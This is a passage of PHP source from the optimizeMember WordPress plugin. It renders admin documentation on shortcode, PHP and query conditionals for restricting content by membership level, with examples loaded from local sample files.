										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #3:</strong> Full access for any Member with a Level >= 1; also using <code>[else]</code> syntax.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-can-full-access-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #4:</strong> Specific content for each different Member Level.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-is-specific-content-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #5:</strong> The same as example #4, but this uses <code>[else]</code> syntax &amp; nesting.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-is-specific-content-else-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #6:</strong> Simple Conditionals w/ integrated use of [s2Get /].</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-1-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #7:</strong> Using multiple Conditionals together; also nesting other Shortcodes.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-2-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #8:</strong> Using multiple Conditionals together; also nesting Conditionals.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-3-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>Membership Levels provide incremental access:</strong></p>' . "\n";
										echo '<p>* A Member with Level 4 access, will also be able to access Levels 0, 1, 2 &amp; 3.<br />* A Member with Level 3 access, will also be able to access Levels 0, 1 &amp; 2.<br />* A Member with Level 2 access, will also be able to access Levels 0 &amp; 1.<br />* A Member with Level 1 access, will also be able to access Level 0.<br />* A Subscriber with Level 0 access, will ONLY be able to access Level 0.<br />* A public Visitor will have NO access to protected content.</p>' . "\n";
										echo '<p><em>* WordPress Subscribers are at Membership Level 0. If you\'re allowing Open Registration, Subscribers will be at Level 0 ( a Free Subscriber ). WordPress Administrators, Editors, Authors, and Contributors have Level 4 access, with respect to optimizeMember. All of their other Roles/Capabilities are left untouched.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><em><strong>optimizeMember supports many <a href="http://codex.wordpress.org/Conditional_Tags" target="_blank" rel="external">Conditional Tags</a> in WordPress.</strong> Including: <strong><code>is_user_logged_in()</code></strong>, <strong><code>is_user_not_logged_in()</code></strong>, <strong><code>user_is(user_id, role)</code></strong>, <strong><code>user_is_not(user_id, role)</code></strong>, <strong><code>user_can(user_id, capability)</code></strong>, <strong><code>user_cannot(user_id, capability)</code></strong>, <strong><code>current_user_is(role)</code></strong>, <strong><code>current_user_is_not(role)</code></strong>, <strong><code>current_user_can(capability)</code></strong>, <strong><code>current_user_cannot(capability)</code></strong>, <strong><code>is_admin()</code></strong>, <strong><code>is_blog_admin()</code></strong>, <strong><code>is_user_admin()</code></strong>, <strong><code>is_network_admin()</code></strong>, <strong><code>is_404()</code></strong>, <strong><code>is_home()</code></strong>, <strong><code>is_front_page()</code></strong>, <strong><code>is_singular(ID|slug|{slug,ID})"</code></strong>, <strong><code>is_single(ID|slug|{slug,ID})</code></strong>, <strong><code>is_page(ID|slug|{slug,ID})</code></strong>, <strong><code>is_page_template(file.php)</code></strong>, <strong><code>is_attachment()</code></strong>, <strong><code>is_feed()</code></strong>, <strong><code>is_archive()</code></strong>, <strong><code>is_search()</code></strong>, <strong><code>is_category(ID|slug|{slug,ID})</code></strong>, <strong><code>is_tax(taxonomy,term)</code></strong>, <strong><code>is_tag(slug|{slug,slug})"</code></strong>, <strong><code>has_tag(slug|{slug,slug})"</code></strong>, <strong><code>is_author(ID|slug|{slug,ID})</code></strong>, <strong><code>is_date()</code></strong>, <strong><code>is_day()</code></strong>, <strong><code>is_month()</code></strong>, <strong><code>is_time()</code></strong>, <strong><code>is_year()</code></strong>, <strong><code>is_sticky(ID)</code></strong>, <strong><code>is_paged()</code></strong>, <strong><code>is_preview()</code></strong>, <strong><code>is_comments_popup()</code></strong>, <strong><code>in_the_loop()</code></strong>, <strong><code>comments_open()</code></strong>, <strong><code>pings_open()</code></strong>, <strong><code>has_excerpt(ID)</code></strong>, <strong><code>has_post_thumbnail(ID)</code></strong>.</em></p>' . "\n";
										/**/
										echo '<p><em><strong>Passing arguments into a Simple Conditional:</strong></em></p>' . "\n";
										echo '<p><em>1. True/false -> ex: <code>current_user_can()</code> / <code>!current_user_can()</code><br />2. False explicitly -> ex: <code>current_user_cannot()</code><br />3. Passing an ID -> ex: <code>is_page(24)</code><br />4. Passing a Slug -> ex: <code>is_page(my-cool-page)</code><br />5. Passing an Array -> ex: <code>is_page({my-cool-page,24,about,contact-form})</code></em></p>' . "\n";
										echo '<p><em>*Tip: do NOT use spaces inside Conditionals.<br /> <strong class="ws-menu-page-error-hilite">BAD</strong> <code>is_page(My Membership Options Page)</code><br />- use slugs or IDs instead, no spaces.</em></p>' . "\n";
										/**/
										echo '<p><em><strong>Implementing AND/OR Conditional expressions:</strong></em></p>' . "\n";
										echo '<p><em>*Tip: do NOT mix AND/OR expressions.<br /> <strong class="ws-menu-page-error-hilite">BAD</strong> <code>is_user_logged_in() AND is_page(1) OR is_page(2)</code><br />- use one or the other; do NOT mix AND/OR together.</em></p>' . "\n";
										echo '<p><em><strong class="ws-menu-page-hilite">If you need to have both types of logic, use nesting:</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-nesting.x-php")) . '</p>' . "\n";
										echo '</div>' . "\n";
										/**/
										echo '</div>' . "\n";
									}
								else /* Otherwise, we can display the standardized version of this information. */
									{
										echo '<div class="ws-menu-page-group" title="Simple/Shortcode Conditionals">' . "\n";
										/**/
										echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-simple-way-section">' . "\n";
										echo '<h3>Simple Conditionals ( via WordPress Shortcodes )</h3>' . "\n";
										echo '<p>In an effort to give you even more control over access restrictions, optimizeMember makes Simple Conditionals available to you from within WordPress, using Shortcodes that are fully compatible with both the Visual Editor, and also the HTML Tab in WordPress. In this section, we\'ll demonstrate several functions that are possible using Shortcodes: <strong><code>is_user_logged_in()</code></strong>, <strong><code>is_user_not_logged_in()</code></strong>, <strong><code>user_is(user_id, role)</code></strong>, <strong><code>user_is_not(user_id, role)</code></strong>, <strong><code>user_can(user_id, capability)</code></strong>, <strong><code>user_cannot(user_id, capability)</code></strong>, <strong><code>current_user_is(role)</code></strong>, <strong><code>current_user_is_not(role)</code></strong>, <strong><code>current_user_can(capability)</code></strong>, <strong><code>current_user_cannot(capability)</code></strong>, <strong><code>current_user_is_for_blog(blog_id,role)</code></strong>, <strong><code>current_user_is_not_for_blog(blog_id,role)</code></strong>, <strong><code>current_user_can_for_blog(blog_id,capability)</code></strong>, <strong><code>current_user_cannot_for_blog(blog_id,capability)</code></strong>. To make use of these functions, please follow our code samples below. Using Shortcodes, it\'s easy to build Simple Conditionals within your content; based on a Member\'s Level, or even based on Custom Capabilities. optimizeMember\'s Shortcodes can be used inside a Post/Page, and also inside Text Widgets.</p>' . "\n";
										echo '<p><em>There are <strong>two different Shortcodes</strong> being demonstrated here:<br /><strong>1. <code>opmIf</code></strong> ( for testing simple conditional expressions ).<br /><strong>2. <code>opmGet</code></strong> ( to get an API Constant value, a Custom Field, or meta key ).</em></p>' . "\n";
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_simple_way", get_defined_vars ());
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
										//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										echo '<p><strong>Example #1:</strong> Full access for anyone that is logged in.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-is-user-logged-in-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #2:</strong> The same as example #1, but this uses <code>[else]</code> syntax.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-is-user-logged-in-else-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #3:</strong> Full access for any Member with a Level >= 1; also using <code>[else]</code> syntax.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-can-full-access-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #4:</strong> Specific content for each different Member Level.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-is-specific-content-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #5:</strong> The same as example #4, but this uses <code>[else]</code> syntax &amp; nesting.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-current-user-is-specific-content-else-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #6:</strong> Simple Conditionals w/ integrated use of [s2Get /].</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-1-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #7:</strong> Using multiple Conditionals together; also nesting other Shortcodes.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-2-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #8:</strong> Using multiple Conditionals together; also nesting Conditionals.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-supplements-3-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>Membership Levels provide incremental access:</strong></p>' . "\n";
										echo '<p>* A Member with Level 4 access, will also be able to access Levels 0, 1, 2 &amp; 3.<br />* A Member with Level 3 access, will also be able to access Levels 0, 1 &amp; 2.<br />* A Member with Level 2 access, will also be able to access Levels 0 &amp; 1.<br />* A Member with Level 1 access, will also be able to access Level 0.<br />* A Subscriber with Level 0 access, will ONLY be able to access Level 0.<br />* A public Visitor will have NO access to protected content.</p>' . "\n";
										echo '<p><em>* WordPress Subscribers are at Membership Level 0. If you\'re allowing Open Registration, Subscribers will be at Level 0 ( a Free Subscriber ). WordPress Administrators, Editors, Authors, and Contributors have Level 4 access, with respect to optimizeMember. All of their other Roles/Capabilities are left untouched.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><em><strong>optimizeMember supports ALL <a href="http://codex.wordpress.org/Conditional_Tags" target="_blank" rel="external">Conditional Tags</a> in WordPress.</strong> Including, but not limited to: <strong><code>is_user_logged_in()</code></strong>, <strong><code>is_user_not_logged_in()</code></strong>, <strong><code>user_is(user_id, role)</code></strong>, <strong><code>user_is_not(user_id, role)</code></strong>, <strong><code>user_can(user_id, capability)</code></strong>, <strong><code>user_cannot(user_id, capability)</code></strong>, <strong><code>current_user_is(role)</code></strong>, <strong><code>current_user_is_not(role)</code></strong>, <strong><code>current_user_can(capability)</code></strong>, <strong><code>current_user_cannot(capability)</code></strong>, <strong><code>current_user_is_for_blog(blog_id,role)</code></strong>, <strong><code>current_user_is_not_for_blog(blog_id,role)</code></strong>, <strong><code>current_user_can_for_blog(blog_id,capability)</code></strong>, <strong><code>current_user_cannot_for_blog(blog_id,capability)</code></strong>, <strong><code>is_multisite()</code></strong>, <strong><code>is_main_site()</code></strong>, <strong><code>is_super_admin()</code></strong>, <strong><code>is_admin()</code></strong>, <strong><code>is_blog_admin()</code></strong>, <strong><code>is_user_admin()</code></strong>, <strong><code>is_network_admin()</code></strong>, <strong><code>is_404()</code></strong>, <strong><code>is_home()</code></strong>, <strong><code>is_front_page()</code></strong>, <strong><code>is_comments_popup()</code></strong>, <strong><code>is_singular(ID|slug|{slug,ID})"</code></strong>, <strong><code>is_single(ID|slug|{slug,ID})</code></strong>, <strong><code>is_page(ID|slug|{slug,ID})</code></strong>, <strong><code>is_page_template(file.php)</code></strong>, <strong><code>is_attachment()</code></strong>, <strong><code>is_feed()</code></strong>, <strong><code>is_trackback()</code></strong>, <strong><code>is_archive()</code></strong>, <strong><code>is_search()</code></strong>, <strong><code>is_category(ID|slug|{slug,ID})</code></strong>, <strong><code>is_tax(taxonomy,term)</code></strong>, <strong><code>is_tag(slug|{slug,slug})"</code></strong>, <strong><code>has_tag(slug|{slug,slug})"</code></strong>, <strong><code>is_author(ID|slug|{slug,ID})</code></strong>, <strong><code>is_date()</code></strong>, <strong><code>is_day()</code></strong>, <strong><code>is_month()</code></strong>, <strong><code>is_time()</code></strong>, <strong><code>is_year()</code></strong>, <strong><code>is_sticky(ID)</code></strong>, <strong><code>is_paged()</code></strong>, <strong><code>is_preview()</code></strong>, <strong><code>is_comments_popup()</code></strong>, <strong><code>in_the_loop()</code></strong>, <strong><code>comments_open()</code></strong>, <strong><code>pings_open()</code></strong>, <strong><code>has_excerpt(ID)</code></strong>, <strong><code>has_post_thumbnail(ID)</code></strong>, <strong><code>is_active_sidebar(ID|number)</code></strong>.</em></p>' . "\n";
										/**/
										echo '<p><em><strong>Passing arguments into a Simple Conditional:</strong></em></p>' . "\n";
										echo '<p><em>1. True/false -> ex: <code>current_user_can()</code> / <code>!current_user_can()</code><br />2. False explicitly -> ex: <code>current_user_cannot()</code><br />3. Passing an ID -> ex: <code>is_page(24)</code><br />4. Passing a Slug -> ex: <code>is_page(my-cool-page)</code><br />5. Passing an Array -> ex: <code>is_page({my-cool-page,24,about,contact-form})</code></em></p>' . "\n";
										echo '<p><em>*Tip: do NOT use spaces inside Conditionals.<br /> <strong class="ws-menu-page-error-hilite">BAD</strong> <code>is_page(My Membership Options Page)</code><br />- use slugs or IDs instead, no spaces.</em></p>' . "\n";
										/**/
										echo '<p><em><strong>Implementing AND/OR Conditional expressions:</strong></em></p>' . "\n";
										echo '<p><em>*Tip: do NOT mix AND/OR expressions.<br /> <strong class="ws-menu-page-error-hilite">BAD</strong> <code>is_user_logged_in() AND is_page(1) OR is_page(2)</code><br />- use one or the other; do NOT mix AND/OR together.</em></p>' . "\n";
										echo '<p><em><strong class="ws-menu-page-hilite">If you need to have both types of logic, use nesting:</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-s2-conditional-nesting.x-php")) . '</p>' . "\n";
										echo '</div>' . "\n";
										/**/
										echo '</div>' . "\n";
									}
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_simple_way", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_advanced_way", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_advanced_way", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Advanced/PHP Conditionals">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-advanced-way-section">' . "\n";
								echo '<h3>The Advanced Way ( some PHP scripting required )</h3>' . "\n";
								echo '<p>In an effort to give you even more control over access restrictions, optimizeMember makes some PHP functions, and also some PHP Constants, available to you from within WordPress. In this section, we\'ll demonstrate several functions: <strong><code>is_user_logged_in()</code></strong>, <strong><code>is_user_not_logged_in()</code></strong>, <strong><code>user_is(user_id, role)</code></strong>, <strong><code>user_is_not(user_id, role)</code></strong>, <strong><code>user_can(user_id, capability)</code></strong>, <strong><code>user_cannot(user_id, capability)</code></strong>, <strong><code>current_user_is("role")</code></strong>, <strong><code>current_user_is_not("role")</code></strong>, <strong><code>current_user_can("capability")</code></strong>, <strong><code>current_user_cannot("capability")</code></strong>, <strong><code>current_user_is_for_blog($blog_id,"role")</code></strong>, <strong><code>current_user_is_not_for_blog($blog_id,"role")</code></strong>, <strong><code>current_user_can_for_blog($blog_id,"capability")</code></strong>, &amp; <strong><code>current_user_cannot_for_blog($blog_id,"capability")</code></strong>. To make use of these functions, please follow our PHP code samples below. Using PHP, is a very powerful way to build Advanced Conditionals within your content; based on a Member\'s Level, Custom Capabilities, and/or other factors. In order to use PHP scripting inside your Posts/Pages, you\'ll need to install this handy plugin ( <a href="http://wordpress.org/extend/plugins/php-execution-plugin/" target="_blank" rel="external">PHP Execution</a> ).</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_advanced_way", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #1:</strong> Full access for anyone that is logged in.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/is-user-logged-in.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #2:</strong> Full access for any Member with a Level >= 1.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-can-full-access.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #3:</strong> Specific content for each different Member Level.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-is-specific-content.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #4:</strong> Using optimizeMember API Conditionals, supplementing WordPress core functions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/s2-conditional-supplements-1.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #5:</strong> Using optimizeMember API Conditionals, supplementing WordPress core functions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/s2-conditional-supplements-2.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #6:</strong> Using multiple Conditionals together, and even nesting Conditionals.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/s2-conditional-supplements-3.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #7:</strong> Using optimizeMember API Constants, instead of conditional functions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-can-constants-1.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #8:</strong> Using optimizeMember API Constants, instead of conditional functions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-can-constants-2.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Membership Levels provide incremental access:</strong></p>' . "\n";
								echo '<p>* A Member with Level 4 access, will also be able to access Levels 0, 1, 2 &amp; 3.<br />* A Member with Level 3 access, will also be able to access Levels 0, 1 &amp; 2.<br />* A Member with Level 2 access, will also be able to access Levels 0 &amp; 1.<br />* A Member with Level 1 access, will also be able to access Level 0.<br />* A Subscriber with Level 0 access, will ONLY be able to access Level 0.<br />* A public Visitor will have NO access to protected content.</p>' . "\n";
								echo '<p><em>* WordPress Subscribers are at Membership Level 0. If you\'re allowing Open Registration, Subscribers will be at Level 0 ( a Free Subscriber ). WordPress Administrators, Editors, Authors, and Contributors have Level 4 access, with respect to optimizeMember. All of their other Roles/Capabilities are left untouched.</em></p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_advanced_way", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_queries", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_queries", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Advanced/PHP Query Conditionals">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-advanced-way-section">' . "\n";
								echo '<h3>Advanced Query Conditionals ( some PHP scripting required )</h3>' . "\n";
								echo '<p>optimizeMember provides several built-in API Functions that are tailored to meet the needs of developers integrating optimizeMember into their themes. Such as: <strong><code>is_protected_by_optimizemember($id, "[category,tag,post,page,singular,uri]")</code></strong>, <strong><code>is_permitted_by_optimizemember($id, "[category,tag,post,page,singular,uri]")</code></strong>, <strong><code>is_category_protected_by_optimizemember($cat_id)</code></strong>, <strong><code>is_category_permitted_by_optimizemember($cat_id)</code></strong>, <strong><code>is_tag_protected_by_optimizemember($tag_id [slug or tag name])</code></strong>, <strong><code>is_tag_permitted_by_optimizemember($tag_id [slug or tag name])</code></strong>, <strong><code>is_post_protected_by_optimizemember($post_id)</code></strong>, <strong><code>is_post_permitted_by_optimizemember($post_id)</code></strong>, <strong><code>is_page_protected_by_optimizemember($page_id)</code></strong>, <strong><code>is_page_permitted_by_optimizemember($page_id)</code></strong>, <strong><code>is_uri_protected_by_optimizemember($uri [or full url])</code></strong>, <strong><code>is_uri_permitted_by_optimizemember($uri [ or full url])</code></strong>.</p>' . "\n";
								echo '<p>In addition, there are two special functions that can be applied by theme authors before making custom queries: <strong><code>attach_optimizemember_query_filters()</code></strong>, <strong><code>detach_optimizemember_query_filters()</code></strong>. These can be used before and after a call to <strong><code>query_posts()</code></strong> for example. optimizeMember will automatically filter all protected content ( not available to the current User/Member ).</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_queries", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #1:</strong> Pre-filtering custom queries in WordPress.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/custom-queries.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #2:</strong> OR, instead of pre-filtering; check Access Restrictions in The Loop.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/custom-queries-loop.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #3:</strong> Checking Tag Restrictions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/specific-tag-restrictions.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #4:</strong> Checking Category Restrictions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/specific-category-restrictions.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #5:</strong> Checking Page Restrictions.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/specific-page-restrictions.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Example #6:</strong> Checking Post Restrictions, including Custom Post Types.</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/specific-post-restrictions.x-php")) . '</p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_queries", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_custom_capabilities", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_custom_capabilities", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Custom Capabilities ( Packages )">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-custom-capabilities-section">' . "\n";
